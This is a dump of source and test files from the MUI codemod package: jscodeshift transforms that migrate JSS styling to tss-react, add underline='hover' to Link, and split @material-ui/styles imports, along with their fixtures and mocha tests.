  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-tss-react.test/actual-withStyles.js",
    "content": "import React from \"react\";\nimport { withStyles } from \"@material-ui/core\";\nimport clsx from \"clsx\";\n\nconst styles1 = {\n  test: {\n    backgroundColor: \"purple\",\n    color: \"white\"\n  }\n};\n\nfunction Comp1({ classes }) {\n  return <div className={classes.test}>Comp1</div>;\n}\n\nconst StyledComp1 = withStyles(styles1)(Comp1);\n\nconst styles2 = {\n  test: {\n    backgroundColor: \"black\",\n    color: \"lime\"\n  },\n  test2: {\n    backgroundColor: \"white\",\n    color: \"purple\",\n    \"&$test\": {\n      backgroundColor: \"pink\",\n      color: \"blue\"\n    }\n  }\n};\n\nfunction Comp2({ classes }) {\n  return (\n    <>\n      <div className={classes.test}>Comp2 test</div>\n      <StyledComp1 />\n      <div className={classes.test2}>Comp2 test2</div>\n      <div className={clsx(classes.test, classes.test2)}>\n        Comp2 test and test2\n      </div>\n    </>\n  );\n}\n\nconst StyledComp2 = withStyles(styles2)(Comp2);\n\nfunction Comp3({ classes }) {\n  return <div className={classes.test}>Inline Styles\n    <div className={classes.test2}>Nested Inline Styles</div>\n  </div>;\n}\nconst StyledComp3a = withStyles({test: {backgroundColor: \"yellow\"}})(Comp3);\nconst StyledComp3b = withStyles({test: {backgroundColor: \"yellow\", color: \"lime\", \"& $test2\": {backgroundColor: \"orange\"}}, test2: {}})(Comp3);\n\nconst styles3c = (theme) => {\n  const bgColor1 = theme.palette.primary.main;\n  const color1 = theme.palette.primary.contrastText;\n  const bgColor2 = theme.palette.secondary.main;\n  const color2 = theme.palette.secondary.contrastText;\n  return {\n    test: {\n      backgroundColor: bgColor1,\n      color: color1,\n      \"& $test2\": {\n        backgroundColor: bgColor2,\n        color: color2\n      }\n    },\n    test2: {}\n  };\n};\nconst StyledComp3c = withStyles(styles3c)(Comp3);\n\nexport default function App() {\n  return <>\n    <StyledComp2/>\n    <StyledComp3a/>\n    <StyledComp3b/>\n    <StyledComp3c/>\n  </>;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-tss-react.test/expected-from-material-ui-core-styles.js",
    "content": "import React from \"react\";\nimport { makeStyles } from 'tss-react/mui';\n\n/*\nSandboxes for verifying correct behavior:\nJSS - https://codesandbox.io/p/sandbox/case1-jss-dedp2f?file=/src/App.js\nTSS - https://codesandbox.io/p/sandbox/case1-tss-s0z7tx?file=/src/App.js\n */\n\nconst useStyles = makeStyles({ name: \"TestName\" })({\n  test: {\n    backgroundColor: \"purple\",\n    color: \"white\"\n  }\n});\n\nconst useStyles2 = makeStyles()(() => ({\n  test2: {\n    backgroundColor: \"blue\",\n    color: \"lime\"\n  }\n}));\n\nfunction InnerComponent() {\n  const { classes } = useStyles2();\n  return <div className={classes.test2}>Inner Test</div>;\n}\nexport default function ComponentUsingStyles(props) {\n  const { classes } = useStyles();\n  return <div className={classes.test}>Test<InnerComponent/></div>;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-tss-react.test/expected-from-material-ui-core.js",
    "content": "import React from \"react\";\n\n/*\nTest makeStyles comment\n */\nimport { makeStyles } from 'tss-react/mui';\n\nconst useStyles = makeStyles()((_theme, _params, classes) => ({\n  test: {\n    backgroundColor: \"purple\",\n    color: \"white\",\n    [`&.${classes.qualifier}`]: {\n      textDecoration: \"underline\"\n    },\n    [`&.${classes.qualifier}.${classes.qualifier2}`]: {\n      fontStyle: \"italic\"\n    },\n    [`&.${classes.qualifier2} .testStuffInBetween .${classes.qualifier}`]: {\n      color: \"brown\"\n    },\n    [`&.${classes.qualifier}:hover`]: {\n      backgroundColor: \"red\"\n    },\n    [`&.${classes.qualifier2}:not(:hover)`]: {\n      fontWeight: 700\n    },\n  },\n  qualifier: {},\n  qualifier2: {}\n}));\n\nconst useStyles2 = makeStyles()({\n  test2: {\n    backgroundColor: \"blue\",\n    color: \"lime\"\n  }\n});\n\nfunction InnerComponent() {\n  const { classes } = useStyles2();\n  return <div className={classes.test2}>Inner Test</div>;\n}\nexport default function ComponentUsingStyles(props) {\n  const { classes, cx } = useStyles(props, {\n    props: props\n  });\n  return (\n    <>\n      <div className={classes.test}>Test<InnerComponent/></div>\n      <div className={cx(classes.test, classes.qualifier)}>Qualifier Test</div>\n      <div className={cx(classes.test, classes.qualifier2)}>Qualifier 2 Test</div>\n      <div className={cx(classes.test, classes.qualifier, classes.qualifier2)}>Qualifier & Qualifier 2 Test</div>\n      </>\n  );\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-tss-react.test/expected-from-mui-styles-makeStyles.js",
    "content": "import React from \"react\";\nimport { makeStyles } from 'tss-react/mui';\n\nconst useStyles = makeStyles()({\n  test: {\n    backgroundColor: \"purple\",\n    color: \"white\"\n  }\n});\n\nconst useStyles2 = makeStyles()((_theme, _params, classes) => ({\n  test: {\n    backgroundColor: \"purple\",\n    color: \"white\",\n    [`& .${classes.test2}`]: {\n      backgroundColor: \"lime\",\n      color: \"blue\"\n    }\n  },\n  test2: {\n    backgroundColor: \"blue\",\n    color: \"lime\"\n  }\n}));\n\nfunction InnerComponent() {\n  const { classes } = useStyles2();\n  return <div className={classes.test2}>Inner Test</div>;\n}\nexport default function ComponentUsingStyles(props) {\n  const { classes } = useStyles();\n  return <div className={classes.test}>Test<InnerComponent/></div>;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-tss-react.test/expected-from-mui-styles.js",
    "content": "import React from \"react\";\nimport { makeStyles } from 'tss-react/mui';\n\nconst useStyles = makeStyles()({\n  test: {\n    backgroundColor: \"purple\",\n    color: \"white\"\n  }\n});\n\nconst useStyles2 = makeStyles()((_theme, _params, classes) => ({\n  test: {\n    backgroundColor: \"purple\",\n    color: \"white\",\n    [`& .${classes.test2}`]: {\n      backgroundColor: \"lime\",\n      color: \"blue\"\n    }\n  },\n  test2: {\n    backgroundColor: \"blue\",\n    color: \"lime\"\n  }\n}));\n\nfunction InnerComponent() {\n  const { classes } = useStyles2();\n  return <div className={classes.test2}>Inner Test</div>;\n}\nexport default function ComponentUsingStyles(props) {\n  const { classes } = useStyles();\n  return <div className={classes.test}>Test<InnerComponent/></div>;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-tss-react.test/expected-mixins-pattern.js",
    "content": "// Comment on first node where the first node will be removed and we should preserve this comment.\nimport React from \"react\";\nimport { makeStyles } from 'tss-react/mui';\n\nfunction mixins() {\n  return {\n    test: {\n      backgroundColor: \"purple\",\n      color: \"white\"\n    }\n  };\n}\nfunction cssProps() {\n  return {\n    paddingLeft: \"8px\"\n  }\n}\n\nconst useStyles = makeStyles()(theme => {\n  return mixins();\n});\n\nconst useStyles2 = makeStyles()(theme => ({\n  ...mixins(),\n  test2: {\n    color: \"red\",\n    ...cssProps()\n  }\n}));\n\nexport default function ComponentUsingStyles(props) {\n  const { classes, cx } = useStyles();\n  const { classes: classes2 } = useStyles2();\n  return <div className={cx(classes.test, classes2.test2)}>Test</div>;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-tss-react.test/expected-todo-comments.js",
    "content": "/*\nComments to be preserved when clsx import is removed. These comments should come before\nany comments that they get combined with.\n */\n/*\nComments that should not be lost when the clsx import comments are preserved.\n */\nimport { makeStyles } from 'tss-react/mui';\n\n// TODO jss-to-tss-react codemod: Unable to handle style definition reliably. ArrowFunctionExpression in CSS prop.\nconst useStyles = makeStyles()((_theme, _params, classes) => ({\n  test: {\n    backgroundColor: \"purple\",\n    color: \"white\",\n    [`&.${classes.qualifier}`]: {\n      textDecoration: props => (props.textDecoration)\n    },\n  },\n  qualifier: {},\n}));\n\n// TODO jss-to-tss-react codemod: usages of this hook outside of this file will not be converted.\nexport const useExportedStyles = makeStyles()({\n  test: {\n    backgroundColor: \"purple\",\n    color: \"white\",\n  }\n});\n\n// TODO jss-to-tss-react codemod: Unable to handle style definition reliably. Unsupported arrow function syntax.\n// Arrow function has parameter type of Identifier instead of ObjectPattern (for example `(props) => ({...})` instead of `({color}) => ({...})`).\nconst useStyles2 = makeStyles()({\n  test2: props => ({\n    backgroundColor: \"blue\",\n    color: \"lime\"\n  })\n});\n\n// TODO jss-to-tss-react codemod: Unable to handle style definition reliably. Unsupported arrow function syntax.\n// Arrow function has body type of BlockStatement instead of ObjectExpression.\nconst useStyles3 = makeStyles()({\n  test3: props => {\n    return {\n      backgroundColor: \"blue\",\n      color: \"lime\"\n    };\n  }\n});\n\n// TODO jss-to-tss-react codemod: '@global' is not supported by tss-react.\n// See https://mui.com/material-ui/customization/how-to-customize/#4-global-css-override for alternatives.\nconst useGlobalStyles = makeStyles()(() => ({\n  '@global': {\n    '.sample': {\n      backgroundColor: \"purple\",\n      color: \"white\",\n    }\n  }\n}));\n\nfunction InnerComponent() {\n  const { classes } = useStyles2();\n  return <div className={classes.test2}>Inner Test</div>;\n}\nfunction ComponentUsingStyles(props) {\n  const { classes, cx } = useStyles(props, {\n    props: props\n  });\n  return (\n    <>\n      <div className={classes.test}>Test<InnerComponent/></div>\n      <div className={cx(classes.test, classes.qualifier)}>Qualifier Test</div>\n      </>\n  );\n}\n\n// TODO jss-to-tss-react codemod: usages of this hook outside of this file will not be converted.\nexport default useStyles3;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-tss-react.test/expected-typescript-docs-example-params.tsx",
    "content": "import { makeStyles } from 'tss-react/mui';\n\nconst useStyles = makeStyles<{color: 'primary' | 'secondary', padding: number}, 'child' | 'small'>({name: 'App'})((theme, { color, padding }, classes) => ({\n  root: ({\n    padding: padding,\n\n    [`&:hover .${classes.child}`]: {\n      backgroundColor: theme.palette[color].main,\n    }\n  }),\n  small: {},\n  child: {\n    border: '1px solid black',\n    height: 50,\n    [`&.${classes.small}`]: {\n      height: 30\n    }\n  }\n}));\n\nfunction App({classes: classesProp}: {classes?: any}) {\n  const { classes, cx } = useStyles({\n    color: 'primary',\n    padding: 30\n  }, {\n    props: {\n      classes: classesProp\n    }\n  });\n\n  return (\n    <div className={classes.root}>\n      <div className={classes.child}>\n        The Background take the primary theme color when the mouse hovers the parent.\n      </div>\n      <div className={cx(classes.child, classes.small)}>\n        The Background take the primary theme color when the mouse hovers the parent.\n        I am smaller than the other child.\n      </div>\n    </div>\n  );\n}\n\nexport default App;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-tss-react.test/expected-typescript-docs-example.tsx",
    "content": "\nimport { makeStyles } from 'tss-react/mui';\n\nconst useStyles = makeStyles<void, 'child' | 'small'>()((theme, _params, classes) => ({\n  parent: {\n    padding: 30,\n    [`&:hover .${classes.child}`]: {\n      backgroundColor: 'red',\n    },\n  },\n  small: {},\n  child: {\n    backgroundColor: 'blue',\n    height: 50,\n    [`&.${classes.small}`]: {\n      backgroundColor: 'lightblue',\n      height: 30\n    }\n  },\n}));\n\nfunction App() {\n  const { classes, cx } = useStyles();\n  return (\n    <div className={classes.parent}>\n      <div className={classes.child}>\n        Background turns red when the mouse hovers over the parent.\n      </div>\n      <div className={cx(classes.child, classes.small)}>\n        Background turns red when the mouse hovers over the parent.\n        I am smaller than the other child.\n      </div>\n    </div>\n  );\n}\n\nexport default App;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-tss-react.test/expected-typescript.tsx",
    "content": "\nimport { makeStyles } from 'tss-react/mui';\nimport { Theme } from '@material-ui/core/styles';\n\n/*\nSandboxes for verifying correct behavior:\nJSS - https://codesandbox.io/p/sandbox/typescript-case-bt065c?file=/demo.tsx\nTSS - https://codesandbox.io/p/sandbox/typescript-case-7jwpms?file=/demo.tsx\n */\n\nconst useStyles = makeStyles<void, 'test2'>()((theme: Theme, _params, classes) => ({\n  test: {\n    backgroundColor: \"purple\",\n    color: \"white\",\n    [`& .${classes.test2}`]: {\n      backgroundColor: \"lime\",\n      color: \"blue\"\n    }\n  },\n  test2: {\n    backgroundColor: \"blue\",\n    color: \"lime\"\n  }\n}));\nexport function MergeClassesNoParams({ classes: classesProp } : { classes?: any }) {\n  const { classes } = useStyles(undefined, {\n    props: {\n      classes: classesProp\n    }\n  });\n  return <div className={classes.test}>Test useStyles without params but with classes prop</div>;\n}\n\nfunction InnerComponent({ classes } : { classes: any }) {\n  return <div className={classes.test2}>Inner Test2</div>;\n}\nexport default function ComponentUsingStyles() {\n  const { classes } = useStyles();\n  return (\n    <>\n      <div className={classes.test}>\n        Test\n        <InnerComponent classes={classes} />\n      </div>\n      <div className={classes.test2}>Outer Test2</div>\n    </>\n  );\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-tss-react.test/expected-withStyles.js",
    "content": "import React from \"react\";\nimport { withStyles } from 'tss-react/mui';\nimport clsx from \"clsx\";\n\nconst styles1 = {\n  test: {\n    backgroundColor: \"purple\",\n    color: \"white\"\n  }\n};\n\nfunction Comp1({ classes }) {\n  return <div className={classes.test}>Comp1</div>;\n}\n\nconst StyledComp1 = withStyles(Comp1, styles1);\n\nconst styles2 = (_theme, _params, classes) => ({\n  test: {\n    backgroundColor: \"black\",\n    color: \"lime\"\n  },\n  test2: {\n    backgroundColor: \"white\",\n    color: \"purple\",\n    [`&.${classes.test}`]: {\n      backgroundColor: \"pink\",\n      color: \"blue\"\n    }\n  }\n});\n\nfunction Comp2({ classes }) {\n  return (\n    <>\n      <div className={classes.test}>Comp2 test</div>\n      <StyledComp1 />\n      <div className={classes.test2}>Comp2 test2</div>\n      <div className={clsx(classes.test, classes.test2)}>\n        Comp2 test and test2\n      </div>\n    </>\n  );\n}\n\nconst StyledComp2 = withStyles(Comp2, styles2);\n\nfunction Comp3({ classes }) {\n  return <div className={classes.test}>Inline Styles\n    <div className={classes.test2}>Nested Inline Styles</div>\n  </div>;\n}\nconst StyledComp3a = withStyles(Comp3, {test: {backgroundColor: \"yellow\"}});\nconst StyledComp3b = withStyles(\n  Comp3,\n  (_theme, _params, classes) => ({test: {backgroundColor: \"yellow\", color: \"lime\", [`& .${classes.test2}`]: {backgroundColor: \"orange\"}}, test2: {}})\n);\n\nconst styles3c = (theme, _params, classes) => {\n  const bgColor1 = theme.palette.primary.main;\n  const color1 = theme.palette.primary.contrastText;\n  const bgColor2 = theme.palette.secondary.main;\n  const color2 = theme.palette.secondary.contrastText;\n  return {\n    test: {\n      backgroundColor: bgColor1,\n      color: color1,\n      [`& .${classes.test2}`]: {\n        backgroundColor: bgColor2,\n        color: color2\n      }\n    },\n    test2: {}\n  };\n};\nconst StyledComp3c = withStyles(Comp3, styles3c);\n\nexport default function App() {\n  return <>\n    <StyledComp2/>\n    <StyledComp3a/>\n    <StyledComp3b/>\n    <StyledComp3c/>\n  </>;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-tss-react.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshiftWithDefaultParser from 'jscodeshift';\nimport transform from './jss-to-tss-react';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\nconst jscodeshift = jscodeshiftWithDefaultParser.withParser('tsx');\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('jss-to-tss-react', () => {\n      it('transforms @material-ui/core/styles makeStyles to use tss-react', () => {\n        const actual = transform(\n          {\n            source: read('./jss-to-tss-react.test/actual-from-material-ui-core-styles.js'),\n            path: require.resolve('./jss-to-tss-react.test/actual-from-material-ui-core-styles.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./jss-to-tss-react.test/expected-from-material-ui-core-styles.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./jss-to-tss-react.test/expected-from-material-ui-core-styles.js'),\n            path: require.resolve('./jss-to-tss-react.test/expected-from-material-ui-core-styles.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./jss-to-tss-react.test/expected-from-material-ui-core-styles.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('transforms @material-ui/core makeStyles to use tss-react', () => {\n        const actual = transform(\n          {\n            source: read('./jss-to-tss-react.test/actual-from-material-ui-core.js'),\n            path: require.resolve('./jss-to-tss-react.test/actual-from-material-ui-core.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./jss-to-tss-react.test/expected-from-material-ui-core.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('adds todo comments for scenarios that are not supported', () => {\n        const actual = transform(\n          {\n            source: read('./jss-to-tss-react.test/actual-todo-comments.js'),\n            path: require.resolve('./jss-to-tss-react.test/actual-todo-comments.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./jss-to-tss-react.test/expected-todo-comments.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('transforms makeStyles with style rules returned by function to use tss-react', () => {\n        const actual = transform(\n          {\n            source: read('./jss-to-tss-react.test/actual-mixins-pattern.js'),\n            path: require.resolve('./jss-to-tss-react.test/actual-mixins-pattern.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./jss-to-tss-react.test/expected-mixins-pattern.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('transforms @mui/styles makeStyles to use tss-react', () => {\n        const actual = transform(\n          {\n            source: read('./jss-to-tss-react.test/actual-from-mui-styles.js'),\n            path: require.resolve('./jss-to-tss-react.test/actual-from-mui-styles.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./jss-to-tss-react.test/expected-from-mui-styles.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('transforms @mui/styles/makeStyles to use tss-react', () => {\n        const actual = transform(\n          {\n            source: read('./jss-to-tss-react.test/actual-from-mui-styles-makeStyles.js'),\n            path: require.resolve('./jss-to-tss-react.test/actual-from-mui-styles-makeStyles.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./jss-to-tss-react.test/expected-from-mui-styles-makeStyles.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('transforms typescript makeStyles with nested selectors to use tss-react', () => {\n        const actual = transform(\n          {\n            source: read('./jss-to-tss-react.test/actual-typescript.tsx'),\n            path: require.resolve('./jss-to-tss-react.test/actual-typescript.tsx'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./jss-to-tss-react.test/expected-typescript.tsx');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('transforms typescript makeStyles example in docs to use tss-react', () => {\n        const actual = transform(\n          {\n            source: read('./jss-to-tss-react.test/actual-typescript-docs-example.tsx'),\n            path: require.resolve('./jss-to-tss-react.test/actual-typescript-docs-example.tsx'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./jss-to-tss-react.test/expected-typescript-docs-example.tsx');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('transforms typescript makeStyles advanced example in docs with params to use tss-react', () => {\n        const actual = transform(\n          {\n            source: read('./jss-to-tss-react.test/actual-typescript-docs-example-params.tsx'),\n            path: require.resolve('./jss-to-tss-react.test/actual-typescript-docs-example-params.tsx'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read(\n          './jss-to-tss-react.test/expected-typescript-docs-example-params.tsx',\n        );\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('transforms withStyles to use tss-react', () => {\n        const actual = transform(\n          {\n            source: read('./jss-to-tss-react.test/actual-withStyles.js'),\n            path: require.resolve('./jss-to-tss-react.test/actual-withStyles.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./jss-to-tss-react.test/expected-withStyles.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/link-underline-hover.js",
    "content": "export default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n\n  const printOptions = options.printOptions;\n\n  const jsxLinkNames = [];\n\n  /**\n   * find Link import name\n   */\n  root\n    .find(j.ImportDeclaration)\n    .filter(({ node }) => node.source.value.match(/^(@material-ui\\/core|@mui\\/material)\\/Link/))\n    .forEach(({ node }) => {\n      node.specifiers.forEach((s) => {\n        if (s.type === 'ImportDefaultSpecifier') {\n          jsxLinkNames.push(s.local.name);\n          node.source.value = node.source.value.replace('@material-ui/core', '@mui/material');\n        }\n      });\n    });\n\n  root\n    .find(j.ImportDeclaration)\n    .filter(({ node }) => node.source.value.match(/^(@material-ui\\/core|@mui\\/material)\\/?$/))\n    .forEach(({ node }) => {\n      node.specifiers.forEach((s) => {\n        if (s.imported.name === 'Link') {\n          jsxLinkNames.push(s.local.name);\n          node.source.value = node.source.value.replace('@material-ui/core', '@mui/material');\n        }\n      });\n    });\n\n  jsxLinkNames.forEach((name) => {\n    root.findJSXElements(name).forEach(({ node }) => {\n      const hasUnderlineProp = node.openingElement.attributes.find(\n        (attr) => attr?.name?.name === 'underline',\n      );\n      if (!hasUnderlineProp) {\n        node.openingElement.attributes.push(\n          j.jsxAttribute(j.jsxIdentifier('underline'), j.literal('hover')),\n        );\n      }\n    });\n  });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/link-underline-hover.test/actual.js",
    "content": "import Link from 'next/Link';\nimport MaterialLink from '@material-ui/core/Link';\nimport { Link as MuiLink } from '@material-ui/core';\n\n<>\n  <Link />\n  <MaterialLink />\n  <MuiLink />\n</>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/link-underline-hover.test/expected.js",
    "content": "import Link from 'next/Link';\nimport MaterialLink from \"@mui/material/Link\";\nimport { Link as MuiLink } from \"@mui/material\";\n\n<>\n  <Link />\n  <MaterialLink underline=\"hover\" />\n  <MuiLink underline=\"hover\" />\n</>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/link-underline-hover.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './link-underline-hover';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('link-underline-hover', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./link-underline-hover.test/actual.js'),\n            path: require.resolve('./link-underline-hover.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./link-underline-hover.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./link-underline-hover.test/expected.js'),\n            path: require.resolve('./link-underline-hover.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./link-underline-hover.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/material-ui-styles.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const printOptions = options.printOptions || { quote: 'single' };\n  const j = api.jscodeshift;\n  const root = j(file.source);\n\n  const list = [\n    'createGenerateClassName',\n    'createStyles',\n    'jssPreset',\n    'makeStyles',\n    'ServerStyleSheets',\n    'useThemeVariants',\n    'withStyles',\n    'withTheme',\n    'getStylesCreator',\n    'mergeClasses',\n    'StylesProvider',\n  ];\n  const types = [\n    'GenerateClassNameOptions',\n    'StyleRules',\n    'StyleRulesCallback',\n    'Styles',\n    'ClassNameMap',\n    'WithStylesOptions',\n    'WithStyles',\n    'StyledComponentProps',\n    'WithThemeCreatorOption',\n    'WithTheme',\n    'ThemedComponentProps',\n    'StylesCreator',\n    'Classes',\n    'MergeClassesOption',\n    'StylesOptions',\n    'StylesProviderProps',\n    'StylesContext',\n  ];\n\n  const stylesPackage = '@material-ui/styles';\n\n  // https://github.com/facebook/jscodeshift/blob/master/recipes/retain-first-comment.md\n  const getFirstNode = () => root.find(j.Program).get('body', 0).node;\n\n  // Save the comments attached to the first node\n  const firstNode = getFirstNode();\n  const { comments } = firstNode;\n\n  root\n    .find(j.ImportDeclaration)\n    .filter(({ node }) => node.source.value.match(/^@material-ui\\/core\\/?(styles)?$/))\n    .forEach((path) => {\n      const importList = [];\n      const typeList = [];\n      const removedList = [];\n      const specifiers = path.node.specifiers;\n\n      specifiers.forEach(({ imported, local }, index) => {\n        if (types.includes(imported.name)) {\n          typeList.push({ imported, local });\n          removedList.push(index);\n        }\n        if (list.includes(imported.name)) {\n          importList.push(\n            j.importDeclaration(\n              [j.importDefaultSpecifier(j.identifier(local.name))],\n              j.literal(`${stylesPackage}/${imported.name}`),\n            ),\n          );\n          removedList.push(index);\n        }\n      });\n\n      /**\n       * delete path.node.specifiers[index] cause empty item in array\n       * use this approach until we find a better way\n       */\n      path.node.specifiers = path.node.specifiers.filter(\n        (_, index) => !removedList.includes(index),\n      );\n\n      path.insertAfter(...importList);\n      if (typeList.length) {\n        const appendedSpecifiers = typeList.map(({ imported, local }) =>\n          j.importSpecifier(imported, local),\n        );\n        const muiStyles = root\n          .find(j.ImportDeclaration)\n          .filter(({ node }) => node.source.value.match(/^@material-ui\\/styles\\/?$/));\n        if (muiStyles.size()) {\n          muiStyles.forEach(({ node }) => {\n            node.specifiers = [...node.specifiers, ...appendedSpecifiers];\n          });\n        } else {\n          path.insertAfter(j.importDeclaration(appendedSpecifiers, j.literal(stylesPackage)));\n        }\n      }\n    })\n    .filter((path) => !path.node.specifiers.length)\n    .remove();\n\n  // If the first node has been modified or deleted, reattach the comments\n  const firstNode2 = getFirstNode();\n  if (firstNode2 !== firstNode) {\n    firstNode2.comments = comments;\n  }\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/material-ui-styles.test/actual.js",
    "content": "/*\n * Copyright 2020 ...\n */\nimport {\n  createGenerateClassName,\n  createStyles,\n  jssPreset,\n  makeStyles,\n  ServerStyleSheets,\n  useThemeVariants,\n  withStyles,\n  withTheme,\n  ThemeProvider,\n  styled,\n  getStylesCreator,\n  mergeClasses,\n  StylesProvider,\n} from '@material-ui/core/styles';\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/material-ui-styles.test/core-import.actual.js",
    "content": "import {\n  createGenerateClassName,\n  createStyles,\n  jssPreset,\n  ServerStyleSheets,\n  useThemeVariants,\n  withStyles as withMuiStyles,\n  withTheme,\n  ThemeProvider,\n  styled,\n  getStylesCreator,\n  mergeClasses,\n  StylesProvider,\n} from '@material-ui/core';\nimport { makeStyles } from '@material-ui/core/';\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/material-ui-styles.test/core-import.expected.js",
    "content": "import { ThemeProvider, styled } from '@material-ui/core';\nimport createGenerateClassName from '@material-ui/styles/createGenerateClassName';\nimport createStyles from '@material-ui/styles/createStyles';\nimport jssPreset from '@material-ui/styles/jssPreset';\nimport ServerStyleSheets from '@material-ui/styles/ServerStyleSheets';\nimport useThemeVariants from '@material-ui/styles/useThemeVariants';\nimport withMuiStyles from '@material-ui/styles/withStyles';\nimport withTheme from '@material-ui/styles/withTheme';\nimport getStylesCreator from '@material-ui/styles/getStylesCreator';\nimport mergeClasses from '@material-ui/styles/mergeClasses';\nimport StylesProvider from '@material-ui/styles/StylesProvider';\nimport makeStyles from '@material-ui/styles/makeStyles';\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/material-ui-styles.test/expected.js",
    "content": "/*\n * Copyright 2020 ...\n */\nimport { ThemeProvider, styled } from '@material-ui/core/styles';\nimport createGenerateClassName from '@material-ui/styles/createGenerateClassName';\nimport createStyles from '@material-ui/styles/createStyles';\nimport jssPreset from '@material-ui/styles/jssPreset';\nimport makeStyles from '@material-ui/styles/makeStyles';\nimport ServerStyleSheets from '@material-ui/styles/ServerStyleSheets';\nimport useThemeVariants from '@material-ui/styles/useThemeVariants';\nimport withStyles from '@material-ui/styles/withStyles';\nimport withTheme from '@material-ui/styles/withTheme';\nimport getStylesCreator from '@material-ui/styles/getStylesCreator';\nimport mergeClasses from '@material-ui/styles/mergeClasses';\nimport StylesProvider from '@material-ui/styles/StylesProvider';\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/material-ui-styles.test/single-import.actual.js",
    "content": "import { makeStyles } from '@material-ui/core/styles';\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/material-ui-styles.test/single-import.expected.js",
    "content": "import makeStyles from '@material-ui/styles/makeStyles';\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/material-ui-styles.test/types-import.actual.js",
    "content": "import { StyleRules } from '@material-ui/styles';\nimport { withStyles, ClassNameMap, WithStyles as MuiWithStyles } from '@material-ui/core/styles';\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/material-ui-styles.test/types-import.expected.js",
    "content": "import { StyleRules, ClassNameMap, WithStyles as MuiWithStyles } from '@material-ui/styles';\nimport withStyles from '@material-ui/styles/withStyles';\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/material-ui-styles.test.js",
